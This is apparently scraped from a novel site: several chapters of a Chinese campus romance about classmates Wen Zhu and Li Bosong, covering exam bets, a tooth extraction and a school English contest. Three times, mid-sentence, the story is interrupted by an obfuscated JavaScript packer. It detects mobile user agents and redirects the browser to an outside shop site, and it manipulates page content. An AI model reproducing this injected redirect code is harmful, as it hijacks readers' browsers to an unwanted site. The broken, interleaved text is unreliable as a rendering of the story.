李泊松拎着五份双皮奶回来的时候,曲思嘉坐在了他刚才的位置。他看了眼形势,把双皮奶分给大家,坐在闻竹身边。 他们每个人吃东西都有点自己的偏好,桌上五个透明盒里边花花绿绿的,也亏得李泊松记得住每个人的口味。 闻竹没动,对面的三个人也没动,只有李泊松闲闲地掀开了盖子,拿勺拨了一下里边的红豆。 四个人都看着他。 李泊松笑笑:“你们继续。” 闻竹却没放过他,她问了大家都很好奇的问题:“你怎么知道他们又打赌了?” “猜的啊,”知道对面的人在瞪他,他头都没抬:“我随口一说,谁知道他们真这么无聊。” 如果视线有实体,李泊松肯定自己已经千疮百孔了。 经过他这么一搅合,闻竹觉得他们三个有事瞒着自己,一问才知道他们又下了无聊的注。 “学习这么无聊,只能自己找乐趣。”毕雨泽双手合十。 “加一。”曲思嘉把自己盘子里最后一块锅包肉夹给闻竹。 “……所以你们的赌注是什么?” 曲思嘉一副胜利者的姿态:“帮我打饭,两星期。” 闻竹抬眼看她。 她继续发表获胜感言:“当然了,没有你就没有这个赌注,胜利不是我一个人的。所以……”她偏头看旁边恨不得捂住耳朵的两人:“你们,帮我们两个打饭两星期。” 毕雨泽发出一声哀嚎。 路一杭抬头看着李泊松。 李泊松猜到他们的赌注大概是他和闻竹的排名,他从看戏的变成了当事人之一,有点诧异。 他敷衍地反思了一下,觉得自己这次也不是没考好,他和闻竹在一条水平线上。 想到对面的人都在看他,他抬头,又是一脸的纯良无害:“对不起对不起,下次我尽量考好点。” 当事人之二在旁边咬牙切齿:“下次不许再打赌了。” 对面两个人点头如捣蒜,路一杭从嗓子眼里“嗯”了一声。 闻竹看着李泊松,压低声音问:“你怎么说考不好真就考不好啊。” “什么意思,考得没你好就是没考好?”李泊松逗她:“你对我有滤镜啊,咱们两个的水平明明差不多。” 他想到了上午那张语文卷,心说老陈是不是在给他下马威,数学难语文也这么难。 闻竹:“……你有点斗志。” “我这一个月非常努力啊,”李泊松还是眉眼弯弯,语气却像参悟了什么大道一样:“学习又不是体育竞技,只有一个第一。不管哪个分数段都有书念,尽力就好……” 结合闻竹一直以来对他的了解,她有理由觉得这人用这番话堵过很多人的嘴。 “也是,”路一杭说:“咱们五个的年组名次都比上次高。” “嗯?我还没看。” 闻竹还没来得及在意。 学校大概不怎么重视这次月考,大榜都没有贴出来,每个班级 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079132|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只发了一份年级组成绩,放在讲桌上被人摸得铅字都掉色了。 他们几个在食堂里吃着双皮奶,对面三个人一直在看他们两个咬耳朵。经过这么一打岔,曲思嘉问:“竹子,英语老师找你做什么?” 他们几个都抬头,李泊松表示很好奇。 闻竹说:“你们还记得去年那个校园英语大赛么?今年还要搞。” “哦,这么回事。” 他们几个好像都懂了,李泊松却一头雾水,他勤学好问:“这么回事是怎么回事?” “前几天英语老师说了这事,你没听课?”闻竹偏头,眼神明锐地看着他。 “嗯?”李泊松怎么可能承认,“有吗?” 她收回视线,认命地解释:“就是一个全校性质的比赛,每个班都要参加,基本上就是英文演讲、英文歌。”说完这些之后,闻竹想了想,还是补充了一个带有很强的个人感情色彩的词:“挺无聊的。” “哦,老师叫你去参加。” 闻竹专心吃双皮奶,兴致缺缺地“嗯”了声。 李泊松在旁边听着,倒是挺兴奋的:“去年你唱歌了还是演讲了?” “好像没人告诉你去年我参加了。” “我推理的,”李泊松胡诌八扯,“所以到底是什么?” “……” “好吧,”他换了个问法,“那你这次还唱歌吗?” 闻竹撂下勺子:“谁跟你说我去年唱歌了?” 路一杭原本和曲思嘉在讨论一部很经典的英剧,这剧前几天刚刚更新了第十七季。毕雨泽翻进了学校论坛,在看热心同学发上去的年级大榜,听到这里他抬头,下巴要掉在桌面上:“难道你会算卦?” 李泊松心说这是猜对了,他颇为得意:“对。” 闻竹也笑了:“不唱歌了,也不想演讲,有没有别的有意思的形式?” “你真答应啦?”毕雨泽问。 “是啊。” 因为曲思嘉要去图书馆还书,闻竹她们两个走得早了些,三个男生依然在食堂坐着。 曲思嘉已经开始行使她的权力了——让毕雨泽和路一杭给她带加冰柠檬水。 毕雨泽看着她们两个走出食堂,忽然道:“我感觉闻竹是那种,这个任务交给她了,就算她完全不感兴趣也一定会尽全力做好。” “劲劲的是吧,不服输。” 听到他们两个谈论闻竹,李泊松停下手里的动作,抬眸看过去。 毕雨泽挺好奇,戳了戳李泊松问:“她一直这样吗?” “对。”他与有荣焉地点了下头,自己都觉得莫名其妙。 闻竹在初一那年期末考试的考场和他说过“下次会考得更好”,她确实做到了。李泊松记得曾经无意中问过她学习累不累,闻竹当时像看傻子一样看着他。 那天的情况和刚才差不多,闻竹懒得说,他却偏要问。 “你猜?”闻竹把问题抛回给他。 他好脾气地笑笑:“我看你学得挺认真也挺高兴的。” “体会过考得好的感觉之后,很难不努力吧。” 闻竹的答案是这样的。 16. 再看牙医 又是周末,闻竹没有错过难得能睡懒觉的机会,闹钟响过两次后,她摁开手机,眼睛睁开了一条缝,骤然发觉已经九点多了。 她是被微信提示音吵醒的,是她爸发来的语音,七点半一条,八点多一条,刚才又过来一条。 闻竹不知道他爸在不在忙,就没回拨电话,回了句“这就起床”后就赶忙爬起来,趿拉着拖鞋进了卫生间。 她调了个音乐电台,迅速洗了头发,在吹头发的时候发现自己下巴上冒了颗红色痘痘,据闻竹的并不丰富的经验来看,这颗痘痘正在初期,过几天就会变得红肿,变成脸上非常显眼的存在。 显不显眼倒是无所谓,这痘怎么这么疼。嘶……她伸手碰了一下,又像是被扎到一样收回了手。 十分钟之后,闻竹拿起玄关处的钥匙,打开了房门。在关门时,闻兴阳打来了电话。 “还说要拔牙,快十点了才出门,到医院最早也得十点钟了。周末拔牙的人一直都挺多的,上午能轮到你吗?竹子,你什么时候能有点提前量……” 闻竹把门关紧,拎起门口的垃圾袋,估量着她爸说完话了,才把耳朵重新贴近声筒。 “爸,我挂完号了,一会儿直接去牙科。你今天没有手术?” “……”干他们这行的一般不敢说没事,他打哈哈道:“今天还行,你先来找我吧?” “不用,我这么大了,拔牙还用人陪呀?” 闻竹又搬出了上次的话术。 闻兴阳有时候觉得女儿过于独立了,他叹气:“上次是下夜班啊,这次我就在医院里。而且你每次买药都看不懂药方上的字,最后还不是得问我。” “你们放医生的写字除了同行没人能看懂,难不成是有什么机密?”她随口吐槽了一句,就说:“行啦老爸,挂电话了。” 闻兴阳很执着:“到了给我打电话!” “等等,”闻竹蹬蹬蹬下楼,推开单元门后眼睛眯了下,脑筋一转,两秒钟内编出一句谎话:“爸,有人陪我。” “你骗我啊?” “没有。” “那谁大周末的不睡懒觉,一早陪你去医院?” “李泊松。” “哦,泊松啊,”电话那边好像有人喊了声“闻医生”,闻兴阳语气匆匆,竟然就这么相信了:“行,那我放心了,中午你们来找爸爸吃饭啊。” “……再说吧,爸你快去忙。” 闻竹挂掉电话,看着李泊松在自动贩卖机前买了瓶水,正拧开瓶盖,他仰头喝水的时候,喉结清晰地滚动了一下。 他没背包,拎着水瓶往这边走,抬头正好和闻竹的视线撞上。 洗头洗得有些匆忙,头发吹得也不太彻底,早春的杀伤力依然不容小觑,为了避免被风吹感冒,闻竹戴了个帽檐颇大的羊羔毛帽子,头发散着,整个人的风格和平时不大一样。 但不管怎样都漂亮。 李泊松盯着她看了好几眼,自己都不知道为什么不把视线移开。发觉再看就不礼貌了的时候才问:“这么着急,去做什么?” “吃饭,拔牙。”闻竹垂眸看了眼他腕上的表,问他:“几点了?” 李泊松低头看:“九点四十。” 他们两个距离不远,但也说不上多近,大概就是比正常的社交距离亲密一些。闻竹盯了他一会儿,没忍住扯起他的一边衣袖凑到鼻尖。 李泊松刚想说话,没看懂闻竹这个动作是在做什么。饶是他这种习惯闻竹不按常理出牌的人,这会儿也很惊讶。 没等他弄明白闻竹的意思,对面的人就把他的袖子放开了。闻竹刚刚皱了眉,这会儿又恢复了平时没表情的样子。 “那个……”她短暂纠结一会儿就平静道:“尼古丁危害挺大的,你知道的吧,比如说肺炎、肺癌、肺气肿……” 李泊松挑了下眉,好整以暇地看她“报菜名”,在她举了五六个例子后,他才问:“说完了?” “嗯,我知道的都说了。”闻竹语气诚恳。 李泊松一只手拎着水瓶,抬起了另一只袖子闻了下,刚才应该是被熏习惯了,嗅觉有点失灵,但仔细点依然闻到了一股刺鼻的烟味。他刚刚还一头雾水,现在明白过来又有点哭笑不得。 “我刚才去和程栩他们打球了,”他垂下胳膊解释了一句,又在闻竹面前碎碎念:“这谁抽的啊……好像他们校队挺多人都抽了。下次我躲远点。” 李泊松放假的时候有晨跑的习惯,这个闻竹知道,刚才看到他的时候也以为他是晨跑去了,没想到竟然是去学校打球了吗? 起了个大早,放假比上学还勤奋,这是搞什么。 她这么想着,也就这么问了,丝毫没因为刚才误会他而不好意思。 李泊松挑重点说了一遍。 程栩和他打了几场球,就问他有没有兴趣参加校队。李泊松说自己做事什么事都是兴趣至上,不喜欢有规矩的活动,就拒绝了。程栩说话也挺有一套的,他退了一步,又就说他可以随意点儿,随时来随时走,就当给校队当一段时间陪练了,毕竟比赛在即。恰好队里有一个他初中的同班同学,关系不错,他就答应了。 “那你怎么回来了?这还不到十点。” “打不动了……”李泊松看闻竹的眼神就知道她没信,他说:“我妈下午过来。” “哦。”闻竹一下子不知道该说什么。 她很久没见到李泊松妈妈了,对她的印象就像落了灰的相册,厚重的灰尘不容易被拨开,浮出来的都是模糊的轮廓。 “我今天先走了,去医院,改天再和阿姨打招呼。” 李泊松叫住她:“你着急么,不急的话慢点吃,我上楼洗个澡换身衣服。” 闻竹没反应过来:“我等你做什么,一起吃早饭?” “我三个小时之前就吃过了,”李泊松悠悠地伸了三根手指出来,在她变脸之后把手缩回兜里:“我也去医院。” 怎么说曹操曹操真能去啊…… 她皱眉:“不是说不用再复查了?不舒服?” “没有,”他笑了下,“我妈昨天去医院拍了片子,我去取。”看闻竹没回应,他笑盈盈道:“等不等我?” 闻竹没答他的话,只是说:“我吃早饭十分钟。” 李泊松比了个“没问题”的手势,转身一阵风一样上了楼。 十点整的时候,他戴了顶黑色棒球帽,浑身裹得严严实实,推开了早餐店的门。他在门口站了几秒钟,就很自然地走过去坐到了闻竹的对面,主人似的拿起筷子一口吃掉一个奶黄包,闻竹咽下最后一口南瓜粥,拿着纸巾在对面擦手。 “你不是说十分钟?”她面无表情地问。 李泊松笑:“你不是也说十分钟?” - 第一颗牙拔得非常顺利,导致闻竹在潜意识里小看了智齿,觉得它是个没什么杀伤力的东西。过于“轻敌”代表着一种不清醒,某种意义上来讲是要遭到惩罚的。 她在拔第二颗牙之前拍了片子,医生给她指了那颗立事牙,说明了这颗牙的奇特之处。闻竹看着它的样子,眼睛都睁大了些。李泊松也凑过去,并在医生走后发表感叹:“横着长的啊……你这颗牙怎么和你本人一样嚣张。” 闻竹深呼吸,经过李泊松的插科打诨,她的紧张感竟然轻了不少。 “你在诊室里等?”她问。 “啊?出去也行,”李泊松倒是不在意这些,“不过诊室里怎么了?” 闻竹摊手,也不顾及自己的面子问题了。 “医生说拔完这颗智齿得缝针,你要在这儿听我哭吗?” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079133|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在外面就听不到了?”李泊松逗完,又怕真吓着她,于是春风和煦地笑了笑:“别紧张,有麻药的。” 闻竹打发他去楼下取片子,自己又躺在治疗床上,视线聚焦在灯下。她有些后悔自己闭眼太晚,以至于看到了装着麻药的针管凑过来的全过程。 她觉得麻药根本没起到作用,虽然过程中又补了一次,但是依然很疼。如果说上次她掉那几滴眼泪是被吓的,这次实打实就是疼的。 缝完针之后,闻竹没忍住伸手轻轻戳了下左边脸颊,毫无知觉。 这麻药也不是不管用啊,那怎么这么疼? 她只庆幸自己没有哭得非常大声。 李泊松得到允许进门的时候,医生在给闻竹开消炎药。 她现在还是不能说话,比上次拔完牙憔悴得多。 出了诊室,还没等他开口,就看到闻竹指了指他手里的羊皮纸袋。 他懂了闻竹的意思,答道:“我妈还是老毛病,好好养着就行,没什么事。” 闻竹点头。 “又哭了?现在还疼吗?”他眼神认真,闻竹就摇头。只是不知道是不是麻药的药劲才上来,她的左脸现在一点儿知觉都没有了。 李泊松放心了些,低头在不超出社交界限的位置仔细看了看闻竹的左脸。她的右半边脸骨相完美、皮肤白皙,左半边嘛……李泊松在离她颊边挺远的地方虚虚地比划了一下,语气遗憾地告诉她:“逃过上次还有这次——脸肿起来了。” 闻竹叹口气,她早就预料到了。 医生说这颗牙得观察一下午,没事更好,如果发炎或是疼得厉害,那就得去挂吊瓶。 闻竹想着这话,手机震动一声,她打开看,李泊松给她发了一张图片,从下边医院的标识来看,应该是他刚刚在诊室拍的注意事项。 闻竹抬眼看他,眼睛眨了下。李泊松会意,给她解释:“刚才医生说的,拔完这颗牙得重视,让你好好看看这些注意事项,你当时疼得都没听。” 闻竹想叹气,叹不出来。 她自己早餐吃了不少,因为预见到了中午那顿饭不会吃得香。医院走廊上挂着的电子钟显示将近十二点,她在备忘录上打字: 【你饿了吗?】 李泊松说“没有”,他偏头思考了一下:“毕竟早上吃了两顿。” 控制住扯嘴角的冲动,她攥着手机继续打: 【我爸说】 “说”这个字刚打上去,一个电话就进来了,闻竹把手机往他面前递了递,他低头,看到了上边的备注。 李泊松没动。 闻竹没表情地指了指自己的肿起来的半边脸,又指了下嗡嗡震动的手机。他深呼吸,帮忙接起来。 “闻叔叔,”明明表情没变化,闻竹就是莫名觉得他声音不像刚才那么吊儿郎当了,听起来甚至很稳重,“我是李泊松。” “哦,是泊松啊!”明明没开免提,闻竹能在这个距离里清晰地提到她爸说的话。 两人聊了一会儿,手机不在手上,闻竹盲猜有三四分钟,旁边人才终于挂断。 闻竹听到他呼出一口气。她腹诽,她爸还是那么喜欢李泊松,亲儿子似的。 “想什么呢?”她被眼前那只手晃得回了神,李泊松转述了闻兴阳的话,他有事还得忙一会儿,下次再一起吃饭。 闻竹在嗓子里“嗯”了声,在心里叫好。她原本还以为他们两个之间一定有一个人得“见家长”呢。 “叔叔还问你有没有哭。”他又恢复了不着调的样子。 闻竹懒得和他计较,在备忘录里打字: 【回去吧,中午一起吃饭?】 这会儿,弹窗弹出一条微信消息,是曲思嘉问她在做什么。 李泊松看到她拿回手机,回复了两个字:渡劫。 17. 旧恩旧怨 前几天在食堂吃饭聊天的时候,闻竹说今年要选择些有意思的形式参加比赛。根据李泊松有意无意地观察,虽然她原本并没有参加的想法,但确实在尽全力做好。 闻竹这次并没有说她表演什么节目,问她她也表现得神神秘秘的,说“到时候就知道了”。虽然不知道这有什么可保密的,但他们几个都不是好奇心特别重的人,所以就作罢了。 临城的春天和秋天都只有一个月。 李泊松记得,这是他们二年级的时候闻竹告诉他的。他听到这话的时候,两人正在小区里的花园玩。李泊松没有质疑旁边扎着两个辫子的女孩,只是问她“为什么这么说”。 “冰雪融化就是春天到来,热起来的时候就变成夏天了,中间的这段时间只有一个月,所以春天只有一个月。天气从炎热变凉爽就是秋天来了,从凉爽变冷就是冬天来了,这样看秋天也只有一个月!”当时的闻竹踩着彩色砖路上枯黄的落叶,鞋带散开了。 李泊松蹲下/身帮她系鞋带,觉得很有道理。 现在这个时候,从闻竹宇宙的时令来看,已经来到了夏天。 - 李泊松用一个漂亮的假动作晃过程栩,把球推进篮筐,篮球鞋轻轻落在地面,他转身和跑过来的毕雨泽碰了下手。 两分钟后,他们两个、再加上几个篮球队的同学一起躺在了篮球场的地面上,视野里都是明朗晴空。李泊松出了点汗,没歇一会儿就又去了不远处的自动贩卖机买水。 七八瓶水顺着出口滚落出来,在乒乒乓乓的撞击声里,毕雨泽走到他身边,靠在了自动贩卖机旁边。 今天是周末,毕雨泽原本是在学校训练的,但教练有事先走了,他就胆大包天地翘掉了加训,从塑胶跑道上跑出来一路冲进篮球场。 篮球队来了一大半人,比起训练,他们的样子更像是在保持手感。前段时间,一中校篮在区体育馆对临大附中校篮,以一球之差惜败。 一中没有篮球特长生,偶尔毕雨泽在400米跑道的终点大口喘气的时候,会想起没有把训练和未来绑定的篮球队队员,认为他们的热爱更纯粹。 他在李泊松面前说过这话,李泊松说:“哪有那么多纯粹,喜欢更好,不喜欢也不影响做好,是吧?” “是啊,该训练还是得训练。”毕雨泽说完,给了李泊松一个眼神,“你说话怎么有点像闻竹……” 这回李泊松就是笑,不接茬了。 程栩和毕雨泽关系不错。毕雨泽逃了训练之后站在场外看了一会儿,程栩叫他进去打球,之后他又在程栩的煽风点火下叫来了李泊松。 李泊松来的时候原本给闻竹发了消息,她没回,路过街角的麦当劳却看到她在写卷子。他敲了两下窗子,把人拐到学校来自习,自己却跑到球场打球去了。 李泊松卷在小臂上的袖子滑落下去,盖住了他的手腕,他忽地听到毕雨泽说:“都已经四月中旬了啊……” “想什么呢,马上四月末了。” “是吗?”听到了这句反驳,毕雨泽低头摸手机,突然意识到这个声音既熟悉又陌生,于是“嗷”一声喊出来:“闻竹?!” 在看到她身后的路一杭和曲思嘉后,他惊讶道:“你们怎么来了?” 李泊松在闻竹出声的时候就抬起了头,他又抬手按了几瓶水,又把水分给他们三个。毕雨泽离最机器最近,终于受不了那个声音远离了它。 路一杭在班级自习,闻竹没表情地看了眼李泊松,李泊松接收到她的眼神后笑了笑。曲思嘉抱着一本《小妇人》,说自己是来凑热闹的。 旁边的树荫下有两个长座椅,他们都在椅子上坐下,李泊松和闻竹之间正好隔了个过道。李泊松拧开水瓶,把矿泉水灌进喉咙。 之后他看着闻竹:“明天下午要比赛了,紧张么?” “暂时还没有,”闻竹眨了下眼睛,语气颇为淡然:“我已经尽力了,准备得也很充分,应该不会紧张吧。” “嗯——”李泊松点头肯定她:“你说这种话的时候最有魅力。” 他这话说得认真,闻竹顿了顿,不知道是该和他互相吹捧还是应该道谢,于是她就遵从自己最真实地反应,轻笑了下。 “你明天的比赛要和许璐瑶一起?”路一杭忽然开口。周五那天,他路过音乐教室看到她们两个一起练习了。 闻竹和他挨得不近,他说这话的时候稍稍抬高了音量。 听到这,毕雨泽非常意外地探出了自己的脑袋:“许璐瑶??” 闻竹没和他们提过和比赛有关的事情,没想到竟然是和许璐瑶一起上台。 阳光被摇曳的树枝割成碎片,像钻石一样在他们的脚下晃动着。 李泊松对这个话题很感兴趣,他支着耳朵听,敏锐地察觉到毕雨泽的话中不一样的语气。 他不禁想:许璐瑶和他们之间的谁有什么不一样的关系吗,为什么毕雨泽表现得这么惊讶? 闻竹看穿了李泊松的想法,问他:“她和咱们一个班,你有印象吗?” 李泊松轻轻抬手,把喝光的矿泉水瓶朝着垃圾桶的方向投出去,透明的塑料瓶在阳光下折射出漂亮的光芒,而后“咻——”地一声,稳稳躺进了垃圾桶。 毕雨泽吹了声口哨:“好!漂亮的三分!” 他这句话让这个场景从帅气的炫技变得有些好笑,连闻竹都忍俊不禁。 “有印象,好像是英语课代表?” “对。”闻竹犹豫了一会儿,像是在考虑该不该和他说她和许璐瑶之前的那些事。 李泊松等了一会儿也不见她开口,看她纠结,提议道:“出去吃饭吧,一个月过去了,咱们可以去吃那家烧烤了吧?” 大家喊着“走走走”,陆陆续续地从座椅上起身,毕雨泽远远地和篮球队的人喊话,说这边有给他们买的水,叫人来取。之后没再等他们,一溜烟跟上了四个人的大部队。 这条林荫路连接着教学楼和篮球场,他们在摇曳的枝丫下穿行而过。闻竹和李泊松走在最后,她看着前边三个人的背影,对李泊松说:“他们都觉得我和许璐瑶关系很差,所以毕雨泽刚刚才才那么大惊小怪的。” “闻竹,”毕雨泽插话:“不要用贬义词啊!” “哦。”李泊松挑了下眼尾,心里有点意外,“那,其实呢?” 闻竹也不是不想说,而是不知道怎么组织语言,想想还挺复杂的。“其实不是差,就……一点破事。” 就算谁真的和闻竹有过节,闻竹也不会在不知情的人面前表露出什么过于反感的情绪,因为她觉得那和在背后说人坏话没什么两样,是一种很无聊的行为。而且说实话,李泊松一直觉得不了解闻竹的人会觉得她冷,了解她的人没有不想和她做朋友的。 他没意识到自己带着多厚的滤镜,想了想问:“有误会啊?” 闻竹点头。 “好了,你不想说的事就不要说。”李泊松劝她:“别纠结了,先吃饭吧。” 两个人对视了一会儿,然后闻竹点了下头:“嗯,那家挺好吃的……你要是想知道,可以问他们三个。” - 周一下午,一中音乐厅里坐满了穿着高一高二校服的学生,闻竹拎着一双高跟鞋站在入口的时候,只看得见乌泱泱的人群。骚乱了一会儿之后,大家有组织地在规定的位置坐下。 闻竹在门口一角站了一会儿,想找到他们班的位置,然而从后边看全是穿着同样衣服的人,遂在十秒钟之后放弃。 许璐瑶走在她身后,看她站在入口的旁边不动,又看了眼闻竹手里的高跟鞋,问:“为什么用手拎着?” 闻竹顺着她的视线看了眼:“刚才袋子漏了。” 许璐瑶“哦”了声 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路一杭:“又逃了?” “……”毕雨泽不大高兴,“这‘又’字是什么意思?” 路一杭没再理他。 毕雨泽看着闻竹和许璐瑶戳戳这个又戳戳那个,最后不解道:“她们两个的关系好像没有以前那么差了,是吧?” 李泊松不知道那点传说中的“旧恩旧怨”,他说:“我看挺好的啊。” 于是他们两个都看着他。 他们送完东西就准备走了,但后台那个主持人算是球场认识的熟人,大家互相认识,就聊了几句。 李泊松忽地听到闻竹叫他,声音不大。他转过身,走过去问怎么了。 闻竹心里骂自己又丢三落四,却面上不显。她有些挣扎地问李泊松:“你看到我的口红了吗?” “没有。”李泊松印象全无,他看了眼闻竹涂了口红形状饱满的唇,又迅速移开目光去看她的眼睛。他说:“颜色没掉啊,很漂亮。” 这时候闻竹心里想着喝水,根本没注意到后边这句夸奖。 “我想喝水,喝了水就会掉。这个口红就是看着好看,其实很不实用,随便抿一下就没了。” 李泊松“哦”了声,问她:“你给我了吗?”他说着,在旁边的桌上拿了瓶水,拧开递给闻竹。 闻竹想起来了:“就是最后我给你的那些零碎的东西,有纸巾湿巾和口红。” 她这么一说李泊松就记起来了:“在我兜里。” 闻竹喝完了水,李泊松就走到那边和他们两个一起回观众席了。走之前他和闻竹说“加油”,闻竹盯着他看了几秒钟,还是面无表情的样子,没开口,只挑了下眉。 李泊松弯弯唇角,换了个语气道:“好好表现。” 闻竹气笑了:“你够了啊。” - 他们几个从后台出去的时候,主持人已经上台了。三个一米八几的大男生为了不挡着别人,顺着墙根走到了三班的位置,和岩姐打过招呼后坐了下来。 他们几个的位置离岩姐不近,视角却挺好。路一杭变戏法一样地从兜里掏出曲思嘉那儿借来的推理书,悠闲地翻开第一页,李泊松打开手机看了眼,发现一点信号都没有,他倒是没觉得很失望,又把手机塞了回去。毕雨泽早知道音乐厅里玩不了手机,左看看右看看准备睡觉。 他眼睛刚闭上,就听到旁边人问:“闻竹和许璐瑶……她们之前是朋友,后来闹掰了?” 毕雨泽愣了一下,这个乍然的问句打得他措手不及,完全没反应过来他为什么这么问,只是实话实说:“不是,她们两个关系一直不好。” “哦。”李泊松轻轻地呼出一口气。“毕哥,”他叫毕雨泽,“和我讲讲怎么回事吧。” 18. 酸甜苦辣 比赛从高二一班开始,按照顺序往后轮,弃权的班级会直接略过。看节目单,她们两个上台大概是在二十分钟后。 许璐瑶扯着曳地的裙摆坐在了闻竹旁边,闻竹也换好了衣服,正支着下巴靠在桌边,顺带着在脑海里回忆台词,看到许璐瑶来了,和她挥了下手。 闻竹不喜欢主动交朋友,看起来总是冷冷淡淡的。曲思嘉之前还开玩笑说和闻竹不熟的时候觉得她很难相处这样的话。但她和许璐瑶之间所谓的“过节”,她们两个谁都没什么错。 文理分科在高一下学期期末。 闻竹的理科成绩非常好,也早早地确定了以后会选择理科,文科的课只保证了上课认真听,并没有在课下花费什么工夫。但是高一那年的所有考试,排名都是九科一起排,所以文科的成绩依然重要。 像闻竹这种要强的性格,每次都在考试之前临时抱佛脚学习文科。 她在挑灯复习的时候还会莫名其妙地想到,如果是李泊松,他一定会爽快地放弃今年的成绩,文科的知识根本不会看一眼。 闻竹当时的同桌是一个叫陆昊然的男生,他理科不行,但政史地的成绩都不错,就问闻竹可不可以互相问问题,像老师说的学习小组那样。闻竹其实更喜欢自己学习,但同桌一场也算朋友,就同意了。 讲到这的时候,淡定如李泊松都没忍住打断他:“毕哥,你这个铺垫是不是太长了,”他抱着胳膊,似笑非笑:“怎么还有别人。” 毕雨泽老神在在:“这虽然是两个人的故事,但三个人都有姓名。” “好,您继续。” 经过他这么一打岔,毕雨泽忘了自己说到哪里了。李泊松提示他:“说到了一个男的,陆昊然。” “……哦,对。” “高一下学期刚开学那阵,有个值班老师说有女生在水房看手机。他当时没抓住人,就看见这女生进了我们班,预备铃都打了才跑来找。他要找一个长头发的女生,瘦瘦高高的,不知道怎么就认定是闻竹。闻竹说她去过水房,但是根本没在那儿看手机,那个老师死活不信,去翻她的包,后来就把闻竹的手机拿走了。” 李泊松皱了下眉:“其实在水房看手机的人是许璐瑶?” “对。” “那个时候许璐瑶什么都没说?” “嗯,其实她可以站出来的,平白无故让别人替自己顶锅,挺不够意思的。” “其实这事儿后来解决了。许璐瑶找竹子道过歉,说她当时就应该承认的,那个时候没有勇气。”这话是坐在毕雨泽左边的曲思嘉说的,这件事她知道的比毕雨泽他们知道得多。 “闻竹怎么说?” “她啊……”曲思嘉顿了顿,说:“我当时问她你不生气吗,竹子说原本挺不高兴的,但在那种情况下,应该很多人都不会站起来承认是自己的错吧。她和我道了歉,又去找岩姐承认错误,我觉得这事可以翻篇了。” 李泊松笑了下,觉得这像闻竹的性格。平日里冷冷淡淡伶牙俐齿,其实心细如发。 他想到读初中的时候闻竹和他说有的同学觉得她不好相处,他当时心想,那些人懂什么。 “陆昊然又是怎么回事?” 毕雨泽语气瞬间变了:“他就是个傻.逼。” 打篮球的时候,或者在网吧,李泊松偶尔会听到满天飞的脏话,但他自己几乎不说,也没怎么听毕雨泽他们说过,骤然听到这么一句,让他不禁眯了下眼睛。 “陆昊然在高一下学期快结束的时候跟许璐瑶表白,傻.逼一样地在操场主席台下边摆了一堆蜡烛,阵仗搞得特别大,我们在操场夜训,还因为好奇被教练骂了一通。排场搞得挺大,许璐瑶根本没理他,该拒绝还是拒绝了。当时闻竹他们两个是同桌,关系还可以。其实就是他总问闻竹题,闻竹给他讲。这事刚过去,他就四处瞎说,什么许璐瑶不答应他是因为闻竹喜欢他,她们两个关系不好也是因为他……” “他算什么东西。”李泊松也没忍住骂了一句。 告白虽然是一个人的行为,但其实是两个人的事情,决定告白的那一刻就要做好被拒绝的准备。没有被拒绝的勇气,就不算有告白的勇气。 况且,这个陆昊然,他的所作所为也不算告白,真正喜欢的话,不会因为被拒绝就恼羞成怒。如果告白是这么随意的事情,那“喜欢”这种情绪都不如一枚硬币来得值钱。 他一直觉得闻竹身边有这么多朋友,家人也那么好,理当非常开心地度过青春时光,谁成想也会遇到这种糟心的事情。 然而生活本就比戏剧还戏剧。酸甜苦辣百般滋味,在人生中避无可避。 “哎,巧了。”毕雨泽说:“当着他的面,闻竹就是这么说的。也就是那时候我发现,闻竹平时怼我们两句就是小打小闹开玩笑,她骂人真挺厉害的。” 李泊松这才勉强笑了下:“是吗,我都没见过。” 曲思嘉再听这件事,火气又来了:“他真是好不要脸一个男的,够能挑拨离间的。” “这人还跟我一个姓,太晦气了。”一直没开口的路一杭在翻动书页的时候插了句话,他是文理分科之后来三班的,并不太了解之前发生的这件事。 毕雨泽却很较真:“嗯?一个姓?没有啊他是陆地的陆……” 曲思嘉说:“所以你们不知道,她们两个现在这个关系纯粹就是因为陆昊然胡说八道,闻竹本来就不喜欢多说,至于许璐瑶,估计是觉得尴尬吧。她们两个没什么仇,只不过也没有一个成为朋友的契机。” 听到这话,毕雨泽很不解:“怎么一定要做朋友?” “不然有点不值吧。”李泊松垂眸:“因为一个傻.逼,不值得。” - 音乐厅后台,许璐瑶在翻自己身边的包,好像在找什么东西。闻竹问她:“怎么了?” “我在找我的口红,”她拿出随身的小镜子照了下,说:“感觉口红颜色掉了,你看。” 闻竹看了眼,发现确实掉了些。与此同时,许璐瑶第三次翻包未果,已经放弃了。 闻竹想了想,问她:“你有洁癖吗?” “嗯?” “我有口红,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079135|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 